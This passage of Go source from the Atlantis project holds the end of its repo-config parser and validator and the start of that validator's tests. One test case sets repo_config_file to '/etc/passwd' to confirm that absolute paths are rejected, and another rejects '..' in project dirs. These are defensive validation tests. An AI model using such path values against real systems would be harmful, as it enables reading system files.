%w", repoConfigFile, err) } // Parse YAML first to expand glob patterns before validation var rawConfig raw.RepoCfg decoder := yaml.NewDecoder(bytes.NewReader(configData)) decoder.KnownFields(true) err = decoder.Decode(&rawConfig) if err != nil && !errors.Is(err, io.EOF) { return valid.RepoCfg{}, err } // Expand glob patterns in project dirs expandedProjects, err := p.expandProjectGlobs(absRepoDir, rawConfig.Projects) if err != nil { return valid.RepoCfg{}, err } rawConfig.Projects = expandedProjects return p.parseRawRepoCfg(rawConfig, globalCfg, repoID, branch) } // ParseRepoCfgData parses repo config from raw YAML bytes. Note that glob patterns // in project dirs are NOT expanded here because we don't have access to the repo // directory. This method is primarily used for skip-clone scenarios. func (p *ParserValidator) ParseRepoCfgData(repoCfgData []byte, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) { var rawConfig raw.RepoCfg decoder := yaml.NewDecoder(bytes.NewReader(repoCfgData)) decoder.KnownFields(true) err := decoder.Decode(&rawConfig) if err != nil && !errors.Is(err, io.EOF) { return valid.RepoCfg{}, err } return p.parseRawRepoCfg(rawConfig, globalCfg, repoID, branch) } // parseRawRepoCfg validates and processes a raw config into a valid config. // This is the shared logic between ParseRepoCfg and ParseRepoCfgData. func (p *ParserValidator) parseRawRepoCfg(rawConfig raw.RepoCfg, globalCfg valid.GlobalCfg, repoID string, branch string) (valid.RepoCfg, error) { // Set ErrorTag to yaml so it uses the YAML field names in error messages. validation.ErrorTag = "yaml" if err := rawConfig.Validate(); err != nil { return valid.RepoCfg{}, err } validConfig := rawConfig.ToValid() // Filter the repo config's projects based on pull request's branch. Only // keep projects that either: // // - Have no branch regex defined at all (i.e. match all branches), or // - Those that have branch regex matching the PR's base branch. // i := 0 for _, p := range validConfig.Projects { if branch == "" || p.BranchRegex == nil || p.BranchRegex.MatchString(branch) { validConfig.Projects[i] = p i++ } } validConfig.Projects = validConfig.Projects[:i] // We do the project name validation after we get the valid config because // we need the defaults of dir and workspace to be populated. if err := p.validateProjectNames(validConfig); err != nil { return valid.RepoCfg{}, err } if validConfig.Version == 2 { // The only difference between v2 and v3 is how we parse custom run // commands. if err := p.applyLegacyShellParsing(&validConfig); err != nil { return validConfig, err } } err := globalCfg.ValidateRepoCfg(validConfig, repoID) return validConfig, err } // ParseGlobalCfg returns the parsed and validated global repo config file at // configFile. defaultCfg will be merged into the parsed config. // If there is no file at configFile it will return an error. func (p *ParserValidator) ParseGlobalCfg(configFile string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) { configData, err := os.ReadFile(configFile) // nolint: gosec if err != nil { return valid.GlobalCfg{}, fmt.Errorf("unable to read %s file: %w", configFile, err) } if len(configData) == 0 { return valid.GlobalCfg{}, fmt.Errorf("file %s was empty", configFile) } var rawCfg raw.GlobalCfg decoder := yaml.NewDecoder(bytes.NewReader(configData)) decoder.KnownFields(true) err = decoder.Decode(&rawCfg) if err != nil && !errors.Is(err, io.EOF) { return valid.GlobalCfg{}, err } return p.validateRawGlobalCfg(rawCfg, defaultCfg, "yaml") } // ParseGlobalCfgJSON parses a json string cfgJSON into global config. func (p *ParserValidator) ParseGlobalCfgJSON(cfgJSON string, defaultCfg valid.GlobalCfg) (valid.GlobalCfg, error) { var rawCfg raw.GlobalCfg err := json.Unmarshal([]byte(cfgJSON), &rawCfg) if err != nil { return valid.GlobalCfg{}, err } return p.validateRawGlobalCfg(rawCfg, defaultCfg, "json") } func (p *ParserValidator) validateRawGlobalCfg(rawCfg raw.GlobalCfg, defaultCfg valid.GlobalCfg, errTag string) (valid.GlobalCfg, error) { // Setting ErrorTag means our errors will use the field names defined in // the struct tags for yaml/json. validation.ErrorTag = errTag if err := rawCfg.Validate(); err != nil { return valid.GlobalCfg{}, err } validCfg := rawCfg.ToValid(defaultCfg) return validCfg, nil } func (p *ParserValidator) repoCfgPath(repoDir, cfgFilename string) string { return filepath.Join(repoDir, cfgFilename) } func (p *ParserValidator) validateProjectNames(config valid.RepoCfg) error { // First, validate that all names are unique. seen := make(map[string]bool) for _, project := range config.Projects { if project.Name != nil { name := *project.Name exists := seen[name] if exists { return fmt.Errorf("found two or more projects with name %q; project names must be unique", name) } seen[name] = true } } // Next, validate that all dir/workspace combos are named. // This map's keys will be 'dir/workspace' and the values are the names for // that project. dirWorkspaceToNames := make(map[string][]string) for _, project := range config.Projects { key := fmt.Sprintf("%s/%s", project.Dir, project.Workspace) names := dirWorkspaceToNames[key] // If there is already a project with this dir/workspace then this // project must have a name. if len(names) > 0 && project.Name == nil { return fmt.Errorf("there are two or more projects with dir: %q workspace: %q that are not all named; they must have a 'name' key so they can be targeted for apply's separately", project.Dir, project.Workspace) } var name string if project.Name != nil { name = *project.Name } dirWorkspaceToNames[key] = append(dirWorkspaceToNames[key], name) } return nil } // applyLegacyShellParsing changes any custom run commands in cfg to use the old // parsing method with shlex.Split(). func (p *ParserValidator) applyLegacyShellParsing(cfg *valid.RepoCfg) error { legacyParseF := func(s *valid.Step) error { if s.StepName == "run" { split, err := shlex.Split(s.RunCommand) if err != nil { return fmt.Errorf("unable to parse %q: %w", s.RunCommand, err) } s.RunCommand = strings.Join(split, " ") } return nil } for k := range cfg.Workflows { w := cfg.Workflows[k] for i := range w.Plan.Steps { s := &w.Plan.Steps[i] if err := legacyParseF(s); err != nil { return err } } for i := range w.Apply.Steps { s := &w.Apply.Steps[i] if err := legacyParseF(s); err != nil { return err } } cfg.Workflows[k] = w } return nil } // expandProjectGlobs expands projects with glob patterns in their dir field // into multiple projects, one for each matching directory that contains // Terraform files (.tf). func (p *ParserValidator) expandProjectGlobs(absRepoDir string, projects []raw.Project) ([]raw.Project, error) { var expandedProjects []raw.Project for _, project := range projects { // If dir is nil or doesn't contain glob patterns, keep the project as-is if project.Dir == nil || !raw.ContainsGlobPattern(*project.Dir) { expandedProjects = append(expandedProjects, project) continue } // Expand the glob pattern pattern := filepath.Join(absRepoDir, *project.Dir) matches, err := doublestar.FilepathGlob(pattern) if err != nil { return nil, fmt.Errorf("error expanding glob pattern %q: %w", *project.Dir, err) } // Filter matches to only include directories with Terraform files for _, match := range matches { // Check if it's a directory info, err := os.Stat(match) if err != nil || !info.IsDir() { continue } // Check if the directory contains any .tf files hasTerraformFiles, err := p.dirContainsTerraformFiles(match) if err != nil { return nil, fmt.Errorf("error checking for Terraform files in %q: %w", match, err) } if !hasTerraformFiles { continue } // Create a new project for this matched directory // Calculate the relative path from the repo root relDir, err := filepath.Rel(absRepoDir, match) if err != nil { return nil, fmt.Errorf("error getting relative path for %q: %w", match, err) } // Copy the project and set the expanded directory expandedProject := p.copyProjectWithDir(project, relDir) expandedProjects = append(expandedProjects, expandedProject) } } return expandedProjects, nil } // dirContainsTerraformFiles returns true if the directory contains at least one .tf file. func (p *ParserValidator) dirContainsTerraformFiles(dir string) (bool, error) { entries, err := os.ReadDir(dir) if err != nil { return false, err } for _, entry := range entries { if !entry.IsDir() && strings.HasSuffix(entry.Name(), ".tf") { return true, nil } } return false, nil } // copyProjectWithDir creates a copy of a project with a new directory value. // All other fields are copied from the original project. func (p *ParserValidator) copyProjectWithDir(original raw.Project, newDir string) raw.Project { // Create a new project with the expanded directory dirCopy := newDir newProject := raw.Project{ Dir: &dirCopy, Branch: original.Branch, Workspace: original.Workspace, Workflow: original.Workflow, TerraformDistribution: original.TerraformDistribution, TerraformVersion: original.TerraformVersion, Autoplan: original.Autoplan, PlanRequirements: original.PlanRequirements, ApplyRequirements: original.ApplyRequirements, ImportRequirements: original.ImportRequirements, DependsOn: original.DependsOn, DeleteSourceBranchOnMerge: original.DeleteSourceBranchOnMerge, RepoLocking: original.RepoLocking, RepoLocks: original.RepoLocks, ExecutionOrderGroup: original.ExecutionOrderGroup, PolicyCheck: original.PolicyCheck, CustomPolicyCheck: original.CustomPolicyCheck, SilencePRComments: original.SilencePRComments, } // Note: We intentionally do NOT copy the Name field. // Each expanded project should be identified by its dir+workspace combination. // If users need unique names, they should not use glob patterns for that project. return newProject } ================================================ FILE: server/core/config/parser_validator_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package config_test import ( "errors" "fmt" "io/fs" "os" "path/filepath" "regexp" "slices" "strings" "testing" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) var globalCfgArgs = valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } var globalCfg = valid.NewGlobalCfgFromArgs(globalCfgArgs) func TestHasRepoCfg_DirDoesNotExist(t *testing.T) { r := config.ParserValidator{} exists, err := r.HasRepoCfg("/not/exist", "unused.yaml") Ok(t, err) Equals(t, false, exists) } func TestHasRepoCfg_FileDoesNotExist(t *testing.T) { tmpDir := t.TempDir() r := config.ParserValidator{} exists, err := r.HasRepoCfg(tmpDir, "not-exist.yaml") Ok(t, err) Equals(t, false, exists) } func TestHasRepoCfg_InvalidFileExtension(t *testing.T) { tmpDir := t.TempDir() repoConfigFile := "atlantis.yml" _, err := os.Create(filepath.Join(tmpDir, repoConfigFile)) Ok(t, err) r := config.ParserValidator{} _, err = r.HasRepoCfg(tmpDir, repoConfigFile) ErrContains(t, "found \"atlantis.yml\" as config file; rename using the .yaml extension", err) } func TestParseRepoCfg_DirDoesNotExist(t *testing.T) { r := config.ParserValidator{} _, err := r.ParseRepoCfg("/not/exist", globalCfg, "", "") Assert(t, errors.Is(err, fs.ErrNotExist), "exp not exist err") } func TestParseRepoCfg_FileDoesNotExist(t *testing.T) { tmpDir := t.TempDir() r := config.ParserValidator{} _, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") Assert(t, errors.Is(err, fs.ErrNotExist), "exp not exist err") } func TestParseRepoCfg_BadPermissions(t *testing.T) { tmpDir := t.TempDir() err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), nil, 0000) Ok(t, err) r := config.ParserValidator{} _, err = r.ParseRepoCfg(tmpDir, globalCfg, "", "") ErrContains(t, "unable to read atlantis.yaml file: ", err) } // Test both ParseRepoCfg and ParseGlobalCfg when given in valid YAML. // We only have a few cases here because we assume the YAML library to be // well tested. See https://github.com/go-yaml/yaml/blob/v2/decode_test.go#L810. func TestParseCfgs_InvalidYAML(t *testing.T) { cases := []struct { description string input string expErr string }{ { "random characters", "slkjds", "yaml: unmarshal errors:\n line 1: cannot unmarshal !!str `slkjds` into", }, { "just a colon", ":", "yaml: did not find expected key", }, } tmpDir := t.TempDir() for _, c := range cases { t.Run(c.description, func(t *testing.T) { confPath := filepath.Join(tmpDir, "atlantis.yaml") err := os.WriteFile(confPath, []byte(c.input), 0600) Ok(t, err) r := config.ParserValidator{} _, err = r.ParseRepoCfg(tmpDir, globalCfg, "", "") ErrContains(t, c.expErr, err) globalCfgArgs := valid.GlobalCfgArgs{} _, err = r.ParseGlobalCfg(confPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) ErrContains(t, c.expErr, err) }) } } func TestParseRepoCfg(t *testing.T) { tfVersion, _ := version.NewVersion("v0.11.0") cases := []struct { description string input string expErr string exp valid.RepoCfg }{ // Version key. { description: "no version", input: ` projects: - dir: "." `, expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", }, { description: "unsupported version", input: ` version: 0 projects: - dir: "." `, expErr: "version: only versions 2 and 3 are supported.", }, { description: "empty version", input: ` version: projects: - dir: "." `, expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", }, { description: "version 2", input: ` version: 2 workflows: custom: plan: steps: - run: old 'shell parsing' `, exp: valid.RepoCfg{ Version: 2, Workflows: map[string]valid.Workflow{ "custom": { Name: "custom", Apply: valid.DefaultApplyStage, PolicyCheck: valid.DefaultPolicyCheckStage, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "old shell parsing", }, }, }, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, }, }, }, }, // Projects key. { description: "empty projects list", input: ` version: 3 projects:`, exp: valid.RepoCfg{ Version: 3, Projects: nil, Workflows: map[string]valid.Workflow{}, }, }, { description: "project dir not set", input: ` version: 3 projects: - {}`, expErr: "projects: (0: (dir: cannot be blank.).).", }, { description: "project dir set", input: ` version: 3 projects: - dir: .`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", WorkflowName: nil, TerraformVersion: nil, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, ApplyRequirements: nil, }, }, Workflows: map[string]valid.Workflow{}, }, }, { description: "autoplan should be enabled by default", input: ` version: 3 projects: - dir: "." `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: make(map[string]valid.Workflow), }, }, { description: "autoplan should be enabled if only when_modified set", input: ` version: 3 projects: - dir: "." autoplan: when_modified: ["**/*.tf*"] `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: []string{"**/*.tf*"}, Enabled: true, }, }, }, Workflows: make(map[string]valid.Workflow), }, }, { description: "if workflows not defined there are none", input: ` version: 3 projects: - dir: "." `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: make(map[string]valid.Workflow), }, }, { description: "if workflows key set but with no workflows there are none", input: ` version: 3 projects: - dir: "." workflows: ~ `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: make(map[string]valid.Workflow), }, }, { description: "if a plan or apply explicitly defines an empty steps key then it gets the defaults", input: ` version: 3 projects: - dir: "." workflows: default: plan: steps: apply: steps: `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: map[string]valid.Workflow{ "default": defaultWorkflow("default"), }, }, }, { description: "project fields set except autoplan", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [approved] workflow: myworkflow workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, ApplyRequirements: []string{"approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with autoplan", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [approved] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with mergeable apply requirement", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [mergeable] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"mergeable"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with undiverged apply requirement", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [undiverged] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"undiverged"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with mergeable and approved apply requirements", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [mergeable, approved] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"mergeable", "approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with undiverged and approved apply requirements", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [undiverged, approved] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"undiverged", "approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with undiverged and mergeable apply requirements", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [undiverged, mergeable] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"undiverged", "mergeable"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with undiverged, mergeable and approved apply requirements", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_version: v0.11.0 apply_requirements: [undiverged, mergeable, approved] workflow: myworkflow autoplan: enabled: false workflows: myworkflow: ~`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersion, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: false, }, ApplyRequirements: []string{"undiverged", "mergeable", "approved"}, }, }, Workflows: map[string]valid.Workflow{ "myworkflow": defaultWorkflow("myworkflow"), }, }, }, { description: "project field with terraform_distribution set to opentofu", input: ` version: 3 projects: - dir: . workspace: myworkspace terraform_distribution: opentofu `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "myworkspace", TerraformDistribution: String("opentofu"), Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: make(map[string]valid.Workflow), }, }, { description: "project dir with ..", input: ` version: 3 projects: - dir: ..`, expErr: "projects: (0: (dir: cannot contain '..'.).).", }, // Project must have dir set. { description: "project with no config", input: ` version: 3 projects: - {}`, expErr: "projects: (0: (dir: cannot be blank.).).", }, { description: "project with no config at index 1", input: ` version: 3 projects: - dir: "." - {}`, expErr: "projects: (1: (dir: cannot be blank.).).", }, { description: "project with unknown key", input: ` version: 3 projects: - unknown: value`, expErr: "yaml: unmarshal errors:\n line 4: field unknown not found in type raw.Project", }, { description: "referencing workflow that doesn't exist", input: ` version: 3 projects: - dir: . workflow: undefined`, expErr: "workflow \"undefined\" is not defined anywhere", }, { description: "two projects with same dir/workspace without names", input: ` version: 3 projects: - dir: . workspace: workspace - dir: . workspace: workspace`, expErr: "there are two or more projects with dir: \".\" workspace: \"workspace\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately", }, { description: "two projects with same dir/workspace only one with name", input: ` version: 3 projects: - name: myname dir: . workspace: workspace - dir: . workspace: workspace`, expErr: "there are two or more projects with dir: \".\" workspace: \"workspace\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately", }, { description: "two projects with same dir/workspace both with same name", input: ` version: 3 projects: - name: myname dir: . workspace: workspace - name: myname dir: . workspace: workspace`, expErr: "found two or more projects with name \"myname\"; project names must be unique", }, { description: "two projects with same dir/workspace with different names", input: ` version: 3 projects: - name: myname dir: . workspace: workspace - name: myname2 dir: . workspace: workspace`, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Name: String("myname"), Dir: ".", Workspace: "workspace", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, { Name: String("myname2"), Dir: ".", Workspace: "workspace", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: map[string]valid.Workflow{}, }, }, { description: "if steps are set then we parse them properly", input: ` version: 3 projects: - dir: "." workflows: default: plan: steps: - init - plan policy_check: steps: - init - policy_check apply: steps: - plan # NOTE: we don't validate if they make sense - apply import: steps: - import state_rm: steps: - state_rm `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: map[string]valid.Workflow{ "default": { Name: "default", Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, { StepName: "plan", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, { StepName: "policy_check", }, }, }, Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "plan", }, { StepName: "apply", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "import", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "state_rm", }, }, }, }, }, }, }, { description: "we parse extra_args for the steps", input: ` version: 3 projects: - dir: "." workflows: default: plan: steps: - init: extra_args: [] - plan: extra_args: - arg1 - arg2 policy_check: steps: - policy_check: extra_args: - arg1 apply: steps: - plan: extra_args: [a, b] - apply: extra_args: ["a", "b"] import: steps: - import: extra_args: ["a", "b"] state_rm: steps: - state_rm: extra_args: ["a", "b"] `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: map[string]valid.Workflow{ "default": { Name: "default", Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "init", ExtraArgs: []string{}, }, { StepName: "plan", ExtraArgs: []string{"arg1", "arg2"}, }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "policy_check", ExtraArgs: []string{"arg1"}, }, }, }, Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "plan", ExtraArgs: []string{"a", "b"}, }, { StepName: "apply", ExtraArgs: []string{"a", "b"}, }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "import", ExtraArgs: []string{"a", "b"}, }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "state_rm", ExtraArgs: []string{"a", "b"}, }, }, }, }, }, }, }, { description: "custom steps are parsed", input: ` version: 3 projects: - dir: "." workflows: default: plan: steps: - run: "echo \"plan hi\"" policy_check: steps: - run: "echo \"opa hi\"" apply: steps: - run: echo apply "arg 2" import: steps: - run: echo apply "arg 3" state_rm: steps: - run: echo apply "arg 4" `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: map[string]valid.Workflow{ "default": { Name: "default", Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "echo \"plan hi\"", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "echo \"opa hi\"", }, }, }, Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "echo apply \"arg 2\"", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "echo apply \"arg 3\"", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "echo apply \"arg 4\"", }, }, }, }, }, }, }, { description: "env steps", input: ` version: 3 projects: - dir: "." workflows: default: plan: steps: - env: name: env_name value: env_value policy_check: steps: - env: name: env_name value: env_value apply: steps: - env: name: env_name command: command and args import: steps: - env: name: env_name value: env_value state_rm: steps: - env: name: env_name value: env_value `, exp: valid.RepoCfg{ Version: 3, Projects: []valid.Project{ { Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, Workflows: map[string]valid.Workflow{ "default": { Name: "default", Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "env", EnvVarName: "env_name", EnvVarValue: "env_value", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "env", EnvVarName: "env_name", EnvVarValue: "env_value", }, }, }, Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "env", EnvVarName: "env_name", RunCommand: "command and args", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "env", EnvVarName: "env_name", EnvVarValue: "env_value", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "env", EnvVarName: "env_name", EnvVarValue: "env_value", }, }, }, }, }, }, }, } tmpDir := t.TempDir() for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(c.input), 0600) Ok(t, err) r := config.ParserValidator{} act, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) Equals(t, c.exp, act) }) } } // Test that we fail if the global validation fails. We test global validation // more completely in GlobalCfg.ValidateRepoCfg(). func TestParseRepoCfg_GlobalValidation(t *testing.T) { tmpDir := t.TempDir() repoCfg := ` version: 3 projects: - dir: . workflow: custom workflows: custom: ~` err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(repoCfg), 0600) Ok(t, err) r := config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{} _, err = r.ParseRepoCfg(tmpDir, valid.NewGlobalCfgFromArgs(globalCfgArgs), "repo_id", "branch") ErrEquals(t, "repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'", err) } func TestParseGlobalCfg_NotExist(t *testing.T) { r := config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{} _, err := r.ParseGlobalCfg("/not/exist", valid.NewGlobalCfgFromArgs(globalCfgArgs)) ErrEquals(t, "unable to read /not/exist file: open /not/exist: no such file or directory", err) } func TestParseGlobalCfg(t *testing.T) { globalCfgArgs := valid.GlobalCfgArgs{} defaultCfg := valid.NewGlobalCfgFromArgs(globalCfgArgs) preWorkflowHook := &valid.WorkflowHook{ StepName: "run", RunCommand: "custom workflow command", } preWorkflowHooks := []*valid.WorkflowHook{preWorkflowHook} postWorkflowHook := &valid.WorkflowHook{ StepName: "run", RunCommand: "custom workflow command", } postWorkflowHooks := []*valid.WorkflowHook{postWorkflowHook} customWorkflow1 := valid.Workflow{ Name: "custom1", Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom command", }, { StepName: "init", ExtraArgs: []string{"extra", "args"}, }, { StepName: "plan", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom command", }, { StepName: "plan", ExtraArgs: []string{"extra", "args"}, }, { StepName: "policy_check", }, }, }, Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom command", }, { StepName: "apply", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom command", }, { StepName: "import", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom command", }, { StepName: "state_rm", }, }, }, } conftestVersion, _ := version.NewVersion("v1.0.0") cases := map[string]struct { input string expErr string exp valid.GlobalCfg }{ "empty file": { input: "", expErr: "file was empty", }, "invalid fields": { input: "invalid: key", expErr: "yaml: unmarshal errors:\n line 1: field invalid not found in type raw.GlobalCfg", }, "no id specified": { input: `repos: - apply_requirements: []`, expErr: "repos: (0: (id: cannot be blank.).).", }, "invalid id regex": { input: `repos: - id: /?/`, expErr: "repos: (0: (id: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).", }, "invalid branch regex": { input: `repos: - id: /.*/ branch: /?/`, expErr: "repos: (0: (branch: parsing: /?/: error parsing regexp: missing argument to repetition operator: `?`.).).", }, "invalid repo_config_file which starts with a slash": { input: `repos: - id: /.*/ repo_config_file: /etc/passwd`, expErr: "repos: (0: (repo_config_file: must not starts with a slash '/'.).).", }, 